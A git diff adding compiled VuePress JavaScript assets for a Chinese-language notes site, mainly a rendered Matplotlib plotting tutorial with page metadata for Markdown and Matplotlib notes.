(github.com)"),s(n)])]),ve]),ye,a("blockquote",null,[a("p",null,[a("a",_e,[e("使用Markdown搭配Pandoc撰写学术论文的详细指南 - 知乎 (zhihu.com)"),s(n)])])]),fe,a("blockquote",null,[a("p",null,[a("a",we,[e("Zotero | Your personal research assistant"),s(n)])])]),Ee,a("p",null,[e("官网下载 "),a("a",xe,[e("Zotero"),s(n)]),e(", "),a("a",Ae,[e("EDGE 插件"),s(n)]),e(" 以及 VSCode Zotero 插件[可选, 主要看自己习惯用什么写 markdown]")]),Be,a("blockquote",null,[a("p",null,[e("[quick start guide "),a("a",qe,[e("Zotero Documentation]"),s(n)])]),a("p",null,[e("[adding items to zotero "),a("a",Pe,[e("Zotero Documentation]"),s(n)])]),a("p",null,[e("[collections and tags "),a("a",Me,[e("Zotero Documentation]"),s(n)])]),a("p",null,[e("[creating bibliographies "),a("a",Ce,[e("Zotero Documentation]"),s(n)])]),a("p",null,[e("[word processor plugin usage "),a("a",De,[e("Zotero Documentation]"),s(n)])])]),Te,a("blockquote",null,[a("p",null,[a("a",ze,[e("Better BibTeX"),s(n)])])]),Fe])}const Le=p(u,[["render",Se],["__file","Markdown.html.vue"]]);export{Le as default};
diff --git a/assets/Markdown.html-b291c54d.js b/assets/Markdown.html-b291c54d.js
new file mode 100644
index 0000000000..b280d87886
--- /dev/null
+++ b/assets/Markdown.html-b291c54d.js
@@ -0,0 +1 @@
+const l=JSON.parse('{"key":"v-40211f6b","path":"/NoteTools/Markdown.html","title":"Markdown","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"基础语法","slug":"基础语法","link":"#基础语法","children":[{"level":3,"title":"链接","slug":"链接","link":"#链接","children":[]},{"level":3,"title":"图片","slug":"图片","link":"#图片","children":[]},{"level":3,"title":"表格","slug":"表格","link":"#表格","children":[]},{"level":3,"title":"分页符","slug":"分页符","link":"#分页符","children":[]},{"level":3,"title":"html","slug":"html","link":"#html","children":[]},{"level":3,"title":"目录","slug":"目录","link":"#目录","children":[]},{"level":3,"title":"插入数学公式","slug":"插入数学公式","link":"#插入数学公式","children":[]},{"level":3,"title":"矩阵","slug":"矩阵","link":"#矩阵","children":[]}]},{"level":2,"title":"Markdown 编辑软件","slug":"markdown-编辑软件","link":"#markdown-编辑软件","children":[{"level":3,"title":"Typora","slug":"typora","link":"#typora","children":[]},{"level":3,"title":"在 VSCode 中编辑 Markdown 文件","slug":"在-vscode-中编辑-markdown-文件","link":"#在-vscode-中编辑-markdown-文件","children":[]},{"level":3,"title":"vnote","slug":"vnote","link":"#vnote","children":[]}]},{"level":2,"title":"工具","slug":"工具","link":"#工具","children":[{"level":3,"title":"图床","slug":"图床","link":"#图床","children":[]},{"level":3,"title":"PicGo","slug":"picgo-1","link":"#picgo-1","children":[]},{"level":3,"title":"Pandoc","slug":"pandoc","link":"#pandoc","children":[]},{"level":3,"title":"reveal-md","slug":"reveal-md","link":"#reveal-md","children":[]}]},{"level":2,"title":"something interesting","slug":"something-interesting","link":"#something-interesting","children":[{"level":3,"title":"徽章","slug":"徽章","link":"#徽章","children":[]},{"level":3,"title":"markdown + pandoc 写论文","slug":"markdown-pandoc-写论文","link":"#markdown-pandoc-写论文","children":[]}]}],"git":{"createdTime":1667840449000,"updatedTime":1686039030000,"contributors":[{"name":"咸鱼型233","email":"ayusummer233@qq.com","commits":17},{"name":"233Official","email":"ayusummer233@qq.com","commits":8}]},"readingTime":{"minutes":29.57,"words":8871},"filePathRelative":"NoteTools/Markdown.md","localizedDate":"2022年11月7日","excerpt":""}');export{l as data};
diff --git a/assets/Matplotlib.html-d7211454.js b/assets/Matplotlib.html-d7211454.js
new file mode 100644
index 0000000000..2de91420bb
--- /dev/null
+++ b/assets/Matplotlib.html-d7211454.js
@@ -0,0 +1 @@
+const l=JSON.parse('{"key":"v-d793ae94","path":"/Language/Python/libs/Matplotlib/Matplotlib.html","title":"目录","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"pyplot","slug":"pyplot","link":"#pyplot","children":[{"level":3,"title":"pyplot绘图的基本操作","slug":"pyplot绘图的基本操作","link":"#pyplot绘图的基本操作","children":[]},{"level":3,"title":"折线图:plot()实例","slug":"折线图-plot-实例","link":"#折线图-plot-实例","children":[]},{"level":3,"title":"散点图实战","slug":"散点图实战","link":"#散点图实战","children":[]}]},{"level":2,"title":"Matplotlib数据可视化","slug":"matplotlib数据可视化","link":"#matplotlib数据可视化","children":[{"level":3,"title":"数据可视化的误区","slug":"数据可视化的误区","link":"#数据可视化的误区","children":[]},{"level":3,"title":"可视化方式","slug":"可视化方式","link":"#可视化方式","children":[]}]}],"git":{"createdTime":1694760760000,"updatedTime":1694760890000,"contributors":[{"name":"233Official","email":"ayusummr233@gmail.com","commits":2}]},"readingTime":{"minutes":26.03,"words":7810},"filePathRelative":"Language/Python/libs/Matplotlib/Matplotlib.md","localizedDate":"2023年9月15日","excerpt":""}');export{l as data};
diff --git a/assets/Matplotlib.html-db54c6b0.js b/assets/Matplotlib.html-db54c6b0.js
new file mode 100644
index 0000000000..2f0f02c873
--- /dev/null
+++ b/assets/Matplotlib.html-db54c6b0.js
@@ -0,0 +1,615 @@
+import{_ as e}from"./plugin-vue_export-helper-c27b6911.js";import{r as l,o as c,c as u,b as n,e as p,d as o,a,f as s}from"./app-880c6425.js";const i={},r=n("h1",{id:"目录",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#目录","aria-hidden":"true"},"#"),p(" 目录")],-1),k=n("ul",null,[n("li",null,[n("a",{href:"#%E7%9B%AE%E5%BD%95"},"目录"),n("ul",null,[n("li",null,[n("a",{href:"#-matplotlib"},"# Matplotlib")]),n("li",null,[n("a",{href:"#pyplot"},"pyplot"),n("ul",null,[n("li",null,[n("a",{href:"#pyplot%E7%BB%98%E5%9B%BE%E7%9A%84%E5%9F%BA%E6%9C%AC%E6%93%8D%E4%BD%9C"},"pyplot绘图的基本操作"),n("ul",null,[n("li",null,[n("a",{href:"#%E5%88%9B%E5%BB%BA%E7%94%BB%E5%B8%83%E4%B8%8E%E5%88%9B%E5%BB%BA%E5%AD%90%E5%9B%BE"},"创建画布与创建子图")]),n("li",null,[n("a",{href:"#%E6%B7%BB%E5%8A%A0%E5%9B%BE%E7%9A%84%E5%9F%BA%E6%9C%AC%E8%A6%81%E7%B4%A0"},"添加图的基本要素")]),n("li",null,[n("a",{href:"#rcparams%E5%8F%82%E6%95%B0"},"rcParams参数")]),n("li",null,[n("a",{href:"#%E6%AD%A3%E5%B8%B8%E6%98%BE%E7%A4%BA%E4%B8%AD%E6%96%87%E5%92%8C%E8%B4%9F%E5%8F%B7"},"正常显示中文和负号"),n("ul",null,[n("li",null,[n("a",{href:"#%E4%BE%8B%E5%AD%90%E7%BB%98%E5%88%B6sinx"},[p("例子:绘制"),n("span",{class:"katex"},[n("span",{class:"katex-mathml"},[n("math",{xmlns:"http://www.w3.org/1998/Math/MathML"},[n("semantics",null,[n("mrow",null,[n("mi",null,"s"),n("mi",null,"i"),n("mi",null,"n"),n("mo",{stretchy:"false"},"("),n("mi",null,"x"),n("mo",{stretchy:"false"},")")]),n("annotation",{encoding:"application/x-tex"},"sin(x)")])])]),n("span",{class:"katex-html","aria-hidden":"true"},[n("span",{class:"base"},[n("span",{class:"strut",style:{height:"1em","vertical-align":"-0.25em"}}),n("span",{class:"mord mathnormal"},"s"),n("span",{class:"mord mathnormal"},"in"),n("span",{class:"mopen"},"("),n("span",{class:"mord mathnormal"},"x"),n("span",{class:"mclose"},")")])])])]),n("ul",null,[n("li",null,[n("a",{href:"#1%E4%BD%BF%E7%94%A8%E5%AD%97%E4%BD%93%E7%AE%A1%E7%90%86%E5%99%A8font_manager"},"1.使用字体管理器font_manager")]),n("li",null,[n("a",{href:"#%E4%B8%BA%E4%B8%8D%E5%90%8C%E6%A0%87%E9%A2%98%E5%9B%BE%E5%9D%90%E6%A0%87%E8%BD%B4%E8%AE%BE%E7%BD%AE%E4%B8%8D%E5%90%8C%E7%9A%84%E5%AD%97%E4%BD%93%E5%A4%A7%E5%B0%8F%E9%87%87%E7%94%A8%E5%AD%97%E4%BD%93%E7%AE%A1%E7%90%86%E5%99%A8"},"为不同标题(图、坐标轴)设置不同的字体,大小,采用字体管理器")]),n("li",null,[n("a",{href:"#%E6%98%BE%E7%A4%BA%E5%9B%BE%E4%B8%AD%E7%9A%84%E8%B4%9F%E5%8F%B7"},"显示图中的负号")]),n("li",null,[n("a",{href:"#%E7%BB%98%E5%88%B6sinxcosx"},"绘制sin(x),cos(x)")])])]),n("li",null,[n("a",{href:"#%E4%BE%8B%E9%A2%98%E7%83%A7%E7%83%A4%E5%BA%97%E8%90%A5%E4%B8%9A%E9%A2%9D%E6%8A%98%E7%BA%BF%E5%9B%BE"},"例题:烧烤店营业额折线图")])])]),n("li",null,[n("a",{href:"#legendloc%E5%8F%82%E6%95%B0"},"legend.loc参数")]),n("li",null,[n("a",{href:"#%E8%AE%BE%E7%BD%AE%E5%9B%BE%E4%BE%8B"},"设置图例"),n("ul",null,[n("li",null,[n("a",{href:"#%E4%BE%8B1%E7%BB%99%E4%B8%89%E8%A7%92%E5%87%BD%E6%95%B0%E5%9B%BE%E5%8A%A0%E5%9B%BE%E4%BE%8B"},"例1:给三角函数图加图例")]),n("li",null,[n("a",{href:"#%E7%BB%99%E5%9B%9B%E4%B8%AA%E5%AD%90%E5%9B%BE%E5%88%86%E5%88%AB%E6%B7%BB%E5%8A%A0%E5%9B%BE%E4%BE%8B"},"给四个子图分别添加图例")])])]),n("li",null,[n("a",{href:"#%E4%BF%9D%E5%AD%98%E4%B8%8E%E6%98%BE%E7%A4%BA%E5%9B%BE"},"保存与显示图"),n("ul",null,[n("li",null,[n("a",{href:"#%E4%BF%9D%E5%AD%98"},"保存:"),n("ul",null,[n("li",null,[n("a",{href:"#%E5%AE%9E%E4%BE%8B"},"实例")])])]),n("li",null,[n("a",{href:"#%E6%98%BE%E7%A4%BA"},"显示")])])]),n("li",null,[n("a",{href:"#%E4%BE%8B1-%E5%95%86%E5%9C%BA%E4%BC%98%E6%83%A0"},"例1 商场优惠"),n("ul",null,[n("li",null,[n("a",{href:"#%E4%BF%AE%E6%94%B9%E7%BA%BF%E7%9A%84%E5%BD%A2%E7%8A%B6"},"修改线的形状")])])])])]),n("li",null,[n("a",{href:"#%E6%95%A3%E7%82%B9%E5%9B%BE%E5%AE%9E%E6%88%98"},"散点图实战"),n("ul",null,[n("li",null,[n("a",{href:"#%E4%BE%8B1%E6%8A%98%E7%BA%BF%E5%9B%BE%E9%87%8D%E7%BB%98%E4%B8%BA%E6%95%A3%E7%82%B9%E5%9B%BE"},"例1:折线图重绘为散点图")]),n("li",null,[n("a",{href:"#%E4%BE%8B2%E5%95%86%E5%9C%BA%E4%BF%A1%E5%8F%B7%E5%BC%BA%E5%BA%A6"},"例2:商场信号强度")]),n("li",null,[n("a",{href:"#%E4%BE%8B3%E5%95%86%E5%9C%BA%E4%BC%98%E6%83%A0%E6%8A%98%E7%BA%BF%E5%9B%BE%E6%95%A3%E7%82%B9%E5%9B%BE%E7%BB%93%E5%90%88"},"例3:商场优惠折线图散点图结合"),n("ul",null,[n("li",null,[n("a",{href:"#%E6%A0%87%E6%B3%A8%E6%95%B0%E5%AD%97"},"标注数字")])])])])])])]),n("li",null,[n("a",{href:"#matplotlib%E6%95%B0%E6%8D%AE%E5%8F%AF%E8%A7%86%E5%8C%96"},"Matplotlib数据可视化"),n("ul",null,[n("li",null,[n("a",{href:"#%E6%95%B0%E6%8D%AE%E5%8F%AF%E8%A7%86%E5%8C%96%E7%9A%84%E8%AF%AF%E5%8C%BA"},"数据可视化的误区")]),n("li",null,[n("a",{href:"#%E5%8F%AF%E8%A7%86%E5%8C%96%E6%96%B9%E5%BC%8F"},"可视化方式"),n("ul",null,[n("li",null,[n("a",{href:"#%E8%B6%8B%E5%8A%BF"},"趋势"),n("ul",null,[n("li",null,[n("a",{href:"#%E7%A4%BA%E4%BE%8B%E5%95%86%E5%9C%BA%E9%83%A8%E9%97%A8%E4%B8%9A%E7%BB%A9"},"示例:商场部门业绩")])])]),n("li",null,[n("a",{href:"#%E5%AF%B9%E6%AF%94"},"对比"),n("ul",null,[n("li",null,[n("a",{href:"#%E7%A4%BA%E4%BE%8B%E5%95%86%E5%9C%BA%E7%94%B7%E5%A5%B3%E8%A3%85%E9%94%80%E5%94%AE%E5%AF%B9%E6%AF%94"},"示例:商场男女装销售对比"),n("ul",null,[n("li",null,[n("a",{href:"#%E5%9B%BE%E5%BD%A2%E7%BE%8E%E5%8C%96-%E5%80%92%E5%BD%B1%E6%9F%B1%E7%8A%B6%E5%9B%BE"},'图形美化-"倒影"柱状图')]),n("li",null,[n("a",{href:"#%E7%BE%8E%E5%8C%96-%E5%B9%B6%E5%88%97%E6%9F%B1%E7%8A%B6%E5%9B%BE"},"美化-并列柱状图")]),n("li",null,[n("a",{href:"#%E7%BE%8E%E5%8C%96%E6%B7%BB%E5%8A%A0%E6%B3%A8%E9%87%8A%E6%96%87%E5%AD%97"},"美化:添加注释文字")]),n("li",null,[n("a",{href:"#%E8%BD%AC%E5%8C%96%E6%9D%A1%E5%BD%A2%E5%9B%BEbarh"},"转化:条形图:barh()")])])])])]),n("li",null,[n("a",{href:"#%E7%BB%93%E6%9E%84"},"结构"),n("ul",null,[n("li",null,[n("a",{href:"#%E7%A4%BA%E4%BE%8B1%E6%88%90%E7%BB%A9%E5%88%86%E6%AE%B5"},"示例1:成绩分段")])])])])])])])])])],-1),d=n("hr",null,null,-1),m=n("h1",{id:"matplotlib",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#matplotlib","aria-hidden":"true"},"#"),p(" Matplotlib")],-1),b=n("hr",null,null,-1),v={href:"https://www.matplotlib.org.cn/",target:"_blank",rel:"noopener noreferrer"},g=s(`数据可视化 是python的绘图库 可以绘制诸如散点/饼状/线/直方/误差线图 图形质量满足出版要求 pyplot pyplot绘图的基本操作
创建画布与创建子图 创建一张空白画图,并可以选择是否将整个画布划分为多个部分,方便在同一幅图上绘制多个图形 也可以省略,直接在默认的画布上进行图形绘制,通常情况下省略 函数 函数作用 plt.figure() 创建一个空白画布,可以指定画布大小,像素 plt.subplot() 创建并选中子图,可以指定子图的行数,列数,与选中图片编号
matplotlib. pyplot def figure ( num: Union[ int , str , None ] = None ,
+ figsize: Any = None ,
+ dpi: Optional[ int ] = None ,
+ facecolor: Any = None ,
+ edgecolor: Any = None ,
+ frameon: Optional[ bool ] = True ,
+ FigureClass: Any = Figure,
+ clear: Optional[ bool ] = False ,
+ ** kwargs: Any) - > Any
+
注意:当你使用画布时,务必记得在不使用该画布时使用 pyplot.close 来关闭画布以清理其占用的内存
num figsize dpi 指定绘图对象的分辨率 即每英寸多少个像素,缺省值为80 1英寸等于2.5cm A4纸是 21*30cm的纸张 facecolor edgecolor import matplotlib. pyplot as plt
+import numpy as np
+
+a = np. arange( 1 , 13 )
+b = np. array( [ 12 , 12 , 34 , 23 , 56 , 45 , 24 , 45 , 23 , 45 , 21 , 12 ] )
+c = a ** 2 + 1
+plt. figure( 'qwqerr' , figsize= ( 10 , 5 ) , dpi= 60 )
+plt. plot( a, b)
+plt. figure( '12' , figsize= ( 10 , 5 ) , dpi= 60 )
+plt. plot( a, c)
+plt. show( )
+
+
运行结果 添加图的基本要素 添加标题(图, xy轴), 设置可读与范围(x, y轴) 添加图标题,坐标轴名称,设置刻度与范围 `,20),h=s('函数 函数作用 plt.title 在当前图形中添加图表题,可以确定标题的名称,位置,颜色,字体大小等参数 plt.xlable 在当前图形中添加x轴名称(标题),可以指定位置,颜色,字体大小等参数 plt.ylable 在当前图形中添加y轴名称(标题),可以指定位置,颜色,字体大小等参数 plt.xlim 指定当前x轴的范围,只能确定一个数值区间,而无法使用字符串标识 plt.ylim 指定当前y轴的范围,只能确定一个数值区间,而无法使用字符串标识 plt.xticks 指定x轴可读的数目与取值 plt.yticks 指定y轴可读的书目与取值
rcParams参数 ',4),y={href:"https://blog.csdn.net/weixin_39010770/article/details/88200298",target:"_blank",rel:"noopener noreferrer"},E=n("li",null,[p("plt(matplotlib.pyplot)使用rc配置文件来自定义图形的各种"),n("strong",null,"默认属性"),p(",称之为rc配置或rc参数。")],-1),f=n("li",null,"通过rc参数可以修改默认的属性,包括窗体大小、每英寸的点数、线条宽度、颜色、样式、坐标轴、坐标和网络属性、文本、字体等。",-1),x=n("li",null,"rc参数存储在字典变量中,通过字典的方式进行访问。",-1),B={href:"https://blog.csdn.net/helunqu2017/article/details/78652261",target:"_blank",rel:"noopener noreferrer"},w=s(` 正常显示中文和负号 Matplotlib内无中文字节码,需要另外添加显示中文的模块
from matplotlib. font_manager import FontProperties as FP
+font = FP( fname = 'C:/WINDOWS/Fonts/STKAITI.TTF' , size= 16 )
+
2.使用matplotlib的rcParams属性 matplotlib. rcParams[ 'font.family' ] = [ 'SimHei' ]
+
3.使用matplotlib的rcParams属性 plt. rcParams[ 'axes.unicode_minus' ] = False
+
`,10),_=n("h5",{id:"例子-绘制",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#例子-绘制","aria-hidden":"true"},"#"),p(" 例子:绘制"),n("span",{class:"katex"},[n("span",{class:"katex-mathml"},[n("math",{xmlns:"http://www.w3.org/1998/Math/MathML"},[n("semantics",null,[n("mrow",null,[n("mi",null,"s"),n("mi",null,"i"),n("mi",null,"n"),n("mo",{stretchy:"false"},"("),n("mi",null,"x"),n("mo",{stretchy:"false"},")")]),n("annotation",{encoding:"application/x-tex"},"sin(x)")])])]),n("span",{class:"katex-html","aria-hidden":"true"},[n("span",{class:"base"},[n("span",{class:"strut",style:{height:"1em","vertical-align":"-0.25em"}}),n("span",{class:"mord mathnormal"},"s"),n("span",{class:"mord mathnormal"},"in"),n("span",{class:"mopen"},"("),n("span",{class:"mord mathnormal"},"x"),n("span",{class:"mclose"},")")])])])],-1),A=s(`绘制sin(x) ,并添加标题
title( '文本' , fontsize= None , fontweight= None , fontstyle= None )
+
fontsize 默认12 可选参数[‘xx-small’, ‘x-small’, ‘small’, ‘medium’, ‘large’,‘x-large’, ‘xx-large’]
+
fontweight 设置字体粗细 可选参数[‘light’, ‘normal’, edium’, ‘semibold’, ‘bold’, ‘heavy’, ‘black’]
+
fontstyle 设置字体类型 可选参数[ ‘normal’ | ‘italic’ | ‘oblique’ ]
+
italic斜体 oblique倾斜 backgroundcolor标题背景颜色 1.使用字体管理器font_manager import matplotlib. pyplot as plt
+import numpy as np
+from matplotlib. font_manager import FontProperties as FP
+
+font = FP( fname= 'C:/WINDOWS/Fonts/STKAITI.TTF' , size= 12 )
+a1 = np. linspace( 0 , 2 * np. pi)
+b1 = np. sin( a1)
+plt. title( 'sin(x)函数图' , fontproperties= font, size= 18 )
+plt. xlabel( 'x轴' , fontproperties= font)
+plt. ylabel( 'y轴' , fontproperties= font)
+plt. plot( a1, b1)
+plt. show( )
+
+
运行结果
为不同标题(图、坐标轴)设置不同的字体,大小,采用字体管理器 import matplotlib. pyplot as plt
+import numpy as np
+from matplotlib. font_manager import fontManager
+
+a1 = np. linspace( 0 , 2 * np. pi)
+b1 = np. sin( a1)
+plt. title( 'sin(x)函数图' , fontproperties= 'FangSong' , size= 16 )
+plt. xlabel( 'x值' , fontproperties= 'simhei' , fontsize= 10 )
+plt. ylabel( '函数值' , fontproperties= 'stkaiti' )
+plt. plot( a1, b1)
+plt. show( )
+
+
运行结果
显示图中的负号 虽然这里这么写了,但是在字体管理器那里我已经可以正常显示负号了
配置rc参数
rcParams[ 'axes.unicode_minus' ] = False
+
import matplotlib. pyplot as plt
+import numpy as np
+
+plt. rcParams[ 'font.family' ] = [ 'simhei' ]
+plt. rcParams[ 'axes.unicode_minus' ] = False
+a1 = np. linspace( 0 , 2 * np. pi)
+b1 = np. sin( a1)
+plt. title( 'sin(x)函数图' , size= 16 )
+plt. xlabel( 'x 值' , labelpad= 10 )
+plt. ylabel( '函\\n数\\n值' ,
+ rotation= 0 ,
+ linespacing= 2 ,
+ labelpad= 20 ,
+ position= ( 10 , 0.35 )
+ )
+plt. plot( a1, b1)
+plt. show( )
+
+
运行结果
import matplotlib. pyplot as plt
+import numpy as np
+
+plt. rcParams[ 'font.family' ] = [ 'SimHei' ]
+a1 = np. linspace( 0 , 2 * np. pi)
+b1 = np. sin( a1)
+plt. title( 'sin(x)函数图' , fontsize= 'large' )
+plt. xlabel( 'x的值' )
+plt. ylabel( '函数值' )
+plt. plot( a1, b1)
+plt. show( )
+
+
+C: \\Users\\233 \\AppData\\Local\\Programs\\Python\\Python38\\lib\\site- packages\\matplotlib\\backends\\backend_agg. py: 214 : RuntimeWarning: Glyph 8722 missing from current font.
+ font. set_text( s, 0.0 , flags= flags)
+C: \\Users\\233 \\AppData\\Local\\Programs\\Python\\Python38\\lib\\site- packages\\matplotlib\\backends\\backend_agg. py: 183 : RuntimeWarning: Glyph 8722 missing from current font.
+ font. set_text( s, 0 , flags= flags)
+
+
`,19),P=s(` 绘制sin(x),cos(x) import matplotlib. pyplot as plt
+import numpy as np
+
+plt. rcParams[ 'font.family' ] = [ 'SimHei' ]
+plt. rcParams[ 'axes.unicode_minus' ] = False
+a1 = np. linspace( - 2 * np. pi, 2 * np. pi)
+b1 = np. sin( a1)
+c1 = np. cos( a1)
+plt. plot( a1, b1)
+plt. plot( a1, c1)
+plt. title( 'sin---cos 曲线图' )
+plt. show( )
+
+
运行结果
方案二:在一张图figure上画多个小图subplot 创建画布对象 在fig画布创建子图并分配子图的位置 fig.add_subplot(rawnum,colnum,stanum) 将整个图分成rawnum行,colnum列个子图, stanum为子图的位置 import matplotlib. pyplot as plt
+import numpy as np
+
+plt. rcParams[ 'font.family' ] = [ 'SimHei' ]
+plt. rcParams[ 'axes.unicode_minus' ] = False
+a1 = np. linspace( - 2 * np. pi, 2 * np. pi)
+b1 = np. sin( a1)
+c1 = np. cos( a1)
+d1 = 2 * a1 + 4
+fig = plt. figure( figsize= ( 12 , 4 ) )
+fig. add_subplot( 2 , 2 , 1 )
+plt. plot( a1, b1)
+fig. add_subplot( 2 , 2 , 2 )
+plt. plot( a1, c1)
+fig. add_subplot( 223 )
+plt. plot( a1, d1)
+plt. show( )
+
+
运行结果
添加子图标题 每次调用plt.plot绘制一张子图之前调用plt.title添加一次标题 import matplotlib. pyplot as plt
+import numpy as np
+
+plt. rcParams[ 'font.family' ] = [ 'SimHei' ]
+plt. rcParams[ 'axes.unicode_minus' ] = False
+a1 = np. linspace( - 2 * np. pi, 2 * np. pi)
+b1 = np. sin( a1)
+c1 = np. cos( a1)
+d1 = 2 * a1 + 4
+fig = plt. figure( figsize= ( 12 , 4 ) )
+fig. add_subplot( 2 , 2 , 1 )
+plt. title( 'sin(x)' )
+plt. plot( a1, b1)
+fig. add_subplot( 2 , 2 , 2 )
+plt. title( 'cos(x)' )
+plt. plot( a1, c1)
+fig. add_subplot( 223 )
+plt. title( '直线' )
+plt. plot( a1, d1)
+plt. show( )
+
+
运行结果
子图的位置分布 tight_layout可以通过参数pad, w_pad, h_pad来设置一些布局的细节 添加总标题 import matplotlib. pyplot as plt
+import numpy as np
+
+plt. rcParams[ 'font.family' ] = [ 'SimHei' ]
+plt. rcParams[ 'axes.unicode_minus' ] = False
+a1 = np. linspace( - 2 * np. pi, 2 * np. pi)
+b1 = np. sin( a1)
+c1 = np. cos( a1)
+d1 = 2 * a1 + 4
+e1 = a1 ** 2 + 4 * a1 + 3
+plt. figure( figsize= ( 8 , 4 ) )
+plt. suptitle( 'Figuer 标题' , fontsize= 14 )
+
+plt. subplot( 2 , 2 , 1 )
+plt. title( 'sin(x)' )
+plt. plot( a1, b1)
+
+plt. subplot( 2 , 2 , 2 )
+plt. title( 'cos(x)' )
+plt. plot( a1, c1)
+
+plt. subplot( 223 )
+plt. title( '直线' )
+plt. plot( a1, d1)
+
+plt. subplot( 224 )
+plt. title( '二次函数' )
+plt. plot( a1, e1)
+plt. tight_layout( 1 , 3 , 3 )
+plt. show( )
+
+
`,18),F=s(` 例题:烧烤店营业额折线图 已知某商场2019年每个月份的营业额如下所示。绘制折线图对该烧烤店全年营业额进行可视化。 | 月份 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | | - |- |- |- |- |- |- |- |- |- |- |- |- |- | | 营业额(万元) | 5.2 | 4 | 3.7 | 5.2 | 4.9 | 3.6 | 5.8 | 3.8 | 6.7 | 6.1 | 4.5 | 5.7 |
import matplotlib. pyplot as plt
+
+plt. rcParams[ 'font.sans-serif' ] = [ 'simhei' ]
+a = list ( range ( 1 , 13 ) )
+b = [ 5.2 , 4 , 3.7 , 5.2 , 4.9 , 3.6 , 5.8 , 3.8 , 6.7 , 6.1 , 4.5 , 5.7 ]
+plt. title( '烧烤店营业额' )
+plt. xlabel( '月' )
+plt. ylabel( '营\\n业\\n额' , rotation= 0 , labelpad= 20 )
+xnum = range ( 1 , 13 )
+xlabel = [ str ( i) + '月' for i in range ( 1 , 13 ) ]
+plt. xticks( xnum, xlabel)
+plt. plot( a, b)
+plt. show( )
+
+
运行结果
legend.loc参数 `,8),D={href:"https://zhuanlan.zhihu.com/p/111108841",target:"_blank",rel:"noopener noreferrer"},M=s("legend()不加任何参数 则默认获取图中曲线的label
及颜色生成图例在图内 loc = 'best' 图例自动‘安家’在一个坐标面内的数据图表最少的位置 loc = 'XXX' 这里的'XXX'代表了坐标面中的九个位置,例如loc = 'center'表示坐标平面中心位置,九种参数值及所对应位置如下图所示 ",3),j=n("li",null,[p("loc = (x, y) "),n("ul",null,[n("li",null,"(x, y)表示图例左下角的位置,这是最灵活的一种放置图例的方法,慢慢调整,总会找到你想要的放置图例的位置"),n("li",null,[p("x, y并不是轴域中实际的x, y的值,而是将x轴, y轴分别看成1, 即: "),n("ul",null,[n("li",null,[n("span",{class:"katex"},[n("span",{class:"katex-mathml"},[n("math",{xmlns:"http://www.w3.org/1998/Math/MathML"},[n("semantics",null,[n("mrow",null,[n("mo",{stretchy:"false"},"("),n("mi",null,"x"),n("mi",{mathvariant:"normal"},"/"),n("mo",{stretchy:"false"},"("),n("mi",null,"x"),n("mi",{mathvariant:"normal"},"_"),n("mi",null,"m"),n("mi",null,"a"),n("mi",null,"x"),n("mo",null,"−"),n("mi",null,"x"),n("mi",{mathvariant:"normal"},"_"),n("mi",null,"m"),n("mi",null,"i"),n("mi",null,"n"),n("mo",{stretchy:"false"},")"),n("mo",{separator:"true"},","),n("mi",null,"y"),n("mi",{mathvariant:"normal"},"/"),n("mo",{stretchy:"false"},"("),n("mi",null,"y"),n("mi",{mathvariant:"normal"},"_"),n("mi",null,"m"),n("mi",null,"a"),n("mi",null,"x"),n("mo",null,"−"),n("mi",null,"y"),n("mi",{mathvariant:"normal"},"_"),n("mi",null,"m"),n("mi",null,"i"),n("mi",null,"n"),n("mo",{stretchy:"false"},")"),n("mo",{stretchy:"false"},")")]),n("annotation",{encoding:"application/x-tex"},"( x / (x\\_max-x\\_min) , y / (y\\_max - y\\_min) )")])])]),n("span",{class:"katex-html","aria-hidden":"true"},[n("span",{class:"base"},[n("span",{class:"strut",style:{height:"1.06em","vertical-align":"-0.31em"}}),n("span",{class:"mopen"},"("),n("span",{class:"mord mathnormal"},"x"),n("span",{class:"mord"},"/"),n("span",{class:"mopen"},"("),n("span",{class:"mord mathnormal"},"x"),n("span",{class:"mord",style:{"margin-right":"0.02778em"}},"_"),n("span",{class:"mord mathnormal"},"ma"),n("span",{class:"mord mathnormal"},"x"),n("span",{class:"mspace",style:{"margin-right":"0.2222em"}}),n("span",{class:"mbin"},"−"),n("span",{class:"mspace",style:{"margin-right":"0.2222em"}})]),n("span",{class:"base"},[n("span",{class:"strut",style:{height:"1.06em","vertical-align":"-0.31em"}}),n("span",{class:"mord mathnormal"},"x"),n("span",{class:"mord",style:{"margin-right":"0.02778em"}},"_"),n("span",{class:"mord mathnormal"},"min"),n("span",{class:"mclose"},")"),n("span",{class:"mpunct"},","),n("span",{class:"mspace",style:{"margin-right":"0.1667em"}}),n("span",{class:"mord mathnormal",style:{"margin-right":"0.03588em"}},"y"),n("span",{class:"mord"},"/"),n("span",{class:"mopen"},"("),n("span",{class:"mord mathnormal",style:{"margin-right":"0.03588em"}},"y"),n("span",{class:"mord",style:{"margin-right":"0.02778em"}},"_"),n("span",{class:"mord mathnormal"},"ma"),n("span",{class:"mord mathnormal"},"x"),n("span",{class:"mspace",style:{"margin-right":"0.2222em"}}),n("span",{class:"mbin"},"−"),n("span",{class:"mspace",style:{"margin-right":"0.2222em"}})]),n("span",{class:"base"},[n("span",{class:"strut",style:{height:"1.06em","vertical-align":"-0.31em"}}),n("span",{class:"mord mathnormal",style:{"margin-right":"0.03588em"}},"y"),n("span",{class:"mord",style:{"margin-right":"0.02778em"}},"_"),n("span",{class:"mord mathnormal"},"min"),n("span",{class:"mclose"},"))")])])]),n("ul",null,[n("li",null,"即进行归一化处理")])])])])])],-1),z=s(` 设置图例 图例往往位于图形绘制结果的一角或一侧,主要用于对所绘制的图形中使用各种符号和颜色进行说明,便于理解图形 使用方法 matplotlib.pyplot中的legend()函数; legend的主要参数如下:
loc 用来说明图例的位置,可为整数,字符串或实数元组 可用的字符串值有 best(0) upper right(1),upper left(2), lower left(3), lower right(4) right(5),left(6) lower center(8),upper center(9) center(10) 通常情况下,legend()如果不设置任何参数,默认是加到图像的内的位置。 若要放至的图之外,可设置参数bbox_to_anchor
的值。 bbox_to_anchor= ( levelnum, vernum)
+
